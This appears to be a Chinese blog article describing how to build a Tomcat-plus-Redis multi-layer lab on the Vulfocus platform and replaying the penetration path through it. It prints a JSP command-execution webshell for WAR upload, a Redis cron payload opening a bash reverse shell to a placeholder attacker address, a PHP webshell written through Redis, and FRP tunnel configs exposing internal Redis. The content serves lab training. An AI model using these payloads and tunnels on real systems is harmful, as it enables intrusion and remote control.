news 2026/5/7 9:41:01

从Tomcat到Redis:用Vulfocus编排一个多层内网靶场,复盘真实渗透路径

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
从Tomcat到Redis:用Vulfocus编排一个多层内网靶场,复盘真实渗透路径

从Tomcat到Redis:构建多层内网靶场的渗透实战指南

在网络安全领域,靶场环境的重要性不亚于真实战场上的演习场。一个精心设计的靶场能够模拟复杂的企业内网环境,让安全从业者在零风险的情况下磨练渗透测试技能。本文将带你深入探索如何利用Vulfocus平台编排一个包含Tomcat和Redis的多层内网靶场,并详细复盘从外网突破到内网横向移动的完整攻击链。

1. 靶场环境设计与搭建

1.1 Vulfocus平台基础配置

Vulfocus作为一款开源的漏洞集成平台,其核心优势在于将各种漏洞环境Docker化,实现开箱即用的靶场体验。以下是基础搭建步骤:

# 拉取最新版Vulfocus镜像 docker pull vulfocus/vulfocus:latest # 运行容器(替换xx.xx.xx.xx为你的服务器IP) docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=xx.xx.xx.xx vulfocus/vulfocus

首次登录后,强烈建议立即修改默认管理员密码(admin/admin),特别是在公网环境部署时。平台界面简洁直观,主要功能模块包括:

  • 镜像管理:下载和管理各类漏洞环境镜像
  • 场景编排:创建多靶机组成的复杂内网环境
  • 用户管理:配置多用户访问权限

1.2 多层内网拓扑设计

我们设计的靶场包含三层结构:

层级服务漏洞类型网络位置
边缘Tomcat弱口令+WAR部署漏洞外网可达
内网Redis未授权访问隔离内网
核心业务系统待发现深层内网

关键配置步骤

  1. 创建专用Docker网络作为内网段:

    docker network create --subnet=172.18.0.0/24 network3
  2. 在Vulfocus界面中添加场景,依次部署:

    • Tomcat容器(绑定network3)
    • Redis容器(仅内网访问)

注意:Redis服务配置时应取消"是否开放"选项,确保其只能通过内网访问。

2. 外网突破:Tomcat攻击链详解

2.1 弱口令利用与Webshell部署

Tomcat管理界面(默认端口8080)的弱口令是常见突破口。使用常见凭证组合(如tomcat:tomcat、admin:admin)尝试登录后,攻击者可上传恶意WAR包获取控制权。

制作隐蔽的JSP Webshell

  1. 创建包含以下内容的shell.jsp:

    <%@ page import="java.util.*,java.io.*"%> <% String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } %>
  2. 打包为WAR文件:

    zip shell.zip shell.jsp mv shell.zip shell.war

2.2 权限维持与C2连接

上传WAR包后,通过访问/shell/shell.jsp?cmd=whoami验证执行效果。为建立稳定控制通道,推荐使用冰蝎(Behinder)等高级Webshell管理工具:

  • 加密通信规避检测
  • 图形化交互更方便
  • 支持插件扩展功能

常见信息收集命令

# 查看系统信息 uname -a cat /etc/*release # 网络配置 ifconfig netstat -antp # 用户和权限 id whoami sudo -l

3. 内网横向移动:Redis攻防实战

3.1 内网探测与服务发现

通过Tomcat的Webshell上传轻量级扫描工具如fscan,对内网段进行快速探测:

# 扫描内网C段 ./fscan -h 172.18.0.1/24

典型输出结果会显示开放的端口和服务,如发现Redis的6379端口,则可能存在未授权访问漏洞。

3.2 Redis未授权访问利用

传统Redis攻击手法包括:

  1. 计划任务反弹Shell

    redis-cli -h 172.18.0.2 set x "\n* * * * * bash -i >& /dev/tcp/攻击IP/端口 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
  2. 写入Webshell

    config set dir /var/www/html config set dbfilename shell.php set x "<?php system($_GET['cmd']);?>" save

然而在Docker环境中常会遇到障碍:

  • 容器内缺少cron服务
  • 目标目录不可写
  • 基础工具缺失(如没有apt-get)

3.3 隧道技术突破网络隔离

当直接利用受阻时,建立隧道是理想选择。FRP是常用的内网穿透工具:

服务端配置(frps.ini)

[common] bind_port = 7000

客户端配置(frpc.ini)

[common] server_addr = 公网IP server_port = 7000 [redis] type = tcp local_ip = 172.18.0.2 local_port = 6379 remote_port = 6379

通过冰蝎上传frpc客户端并执行后,即可通过公网服务器的6379端口访问内网Redis服务。

4. 靶场环境中的实战技巧

4.1 容器环境特性与绕过方法

Docker化靶场与真实环境的主要差异:

特性真实环境容器环境应对方案
权限模型可能有root通常非特权提权手法需调整
服务完整性完整系统服务最小化安装备选攻击路径
网络配置复杂防火墙规则简单网络隔离隧道技术更有效
持久性可长期驻留重启可能丢失重点放在横向移动

4.2 工具链优化建议

针对容器化内网环境,推荐使用以下工具组合:

  • 信息收集:fscan、nmap(静态编译版)
  • 代理工具:FRP、Neo-reGeorg
  • 漏洞利用:Metasploit(定制payload)、Golang编写的小型exploit
  • 密码破解:Hashcat(配合GPU服务器)、John the Ripper

5. 靶场场景设计进阶

5.1 漏洞组合策略

有效的靶场应模拟真实网络中的漏洞组合:

  1. 边缘漏洞:Web应用漏洞(如Struts2、ThinkPHP)
  2. 内网服务漏洞:Redis、MySQL、SMB等
  3. 权限提升漏洞:内核漏洞、配置错误
  4. 横向移动技术:凭证窃取、中间人攻击

5.2 防御检测机制集成

为提升训练价值,可在靶场中加入安全设备模拟:

  • WAF规则:检测常见攻击特征
  • IDS/IPS:记录异常网络行为
  • 日志审计:留存攻击痕迹供分析

在最近一次内部红队演练中,我们通过精心设计的Tomcat+Redis靶场场景,成功复现了某次真实攻防演练中的关键攻击路径。测试发现,当Redis容器未配置密码且网络隔离不严格时,攻击者平均仅需27分钟即可从外网突破到核心区。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/7 9:40:39

* Spring AI 流式生成中的“停止生成”功能实现

用户点下停止按钮后&#xff0c;如何让 AI 闭嘴&#xff1f;不增加模型费用&#xff0c;不破坏响应式编程体验。在 AI 应用开发中&#xff0c;流式&#xff08;Streaming&#xff09;输出几乎是标配——它能显著降低首字延迟&#xff0c;让用户像看真人打字一样获得反馈。但随之…

作者头像 李华
网站建设 2026/5/7 9:40:15

MCP协议:AI与外部工具安全连接的标准协议与实战指南

1. 项目概述&#xff1a;MCP&#xff0c;一个正在重塑AI工作流的“连接器”如果你最近在关注AI应用开发&#xff0c;尤其是如何让大型语言模型&#xff08;LLM&#xff09;更稳定、更安全地调用外部工具和数据&#xff0c;那么“MCP”这个词大概率已经出现在你的视野里了。iste…

作者头像 李华
网站建设 2026/5/7 9:40:10

【YOLO26实战全攻略】18——YOLO26超参数调优实战:从遗传算法到AutoML,告别手动试错!

摘要:在工业级目标检测项目落地过程里,超参数配置是直接左右YOLO26模型精度、收敛速度与泛化能力的核心环节。传统人工调参完全依赖个人经验,不仅耗时耗力,还深陷维度灾难、参数组合爆炸、不同数据集参数不可复用等痛点,很多开发者耗费数天反复试错,模型性能依旧卡在瓶颈…

作者头像 李华
网站建设 2026/5/7 9:37:31

轻量级网络节点推送工具:Go语言实现的自托管消息推送服务

1. 项目概述&#xff1a;一个轻量级网络节点推送工具最近在折腾一些需要跨网络、跨设备同步状态的小项目时&#xff0c;我一直在寻找一个足够轻量、部署简单、又能满足基本推送需求的工具。市面上成熟的方案很多&#xff0c;但要么太重&#xff0c;要么依赖特定的云服务&#x…

作者头像 李华
网站建设 2026/5/7 9:34:31

OpenClaw v2026.5.3 最新版发布:插件外化、流式进度、会话稳定性与多渠道能力全面升级

OpenClaw v2026.5.3 于 2026 年 5 月 4 日发布&#xff0c;这一版可以说是一次覆盖面极广的能力增强与稳定性修复版本。它不仅在插件系统、Gateway 启动性能、渠道消息流、医生修复、设备配对、实时语音、内存与会话状态、更新回滚以及多平台通道兼容性上做了大量打磨&#xff…

作者头像 李华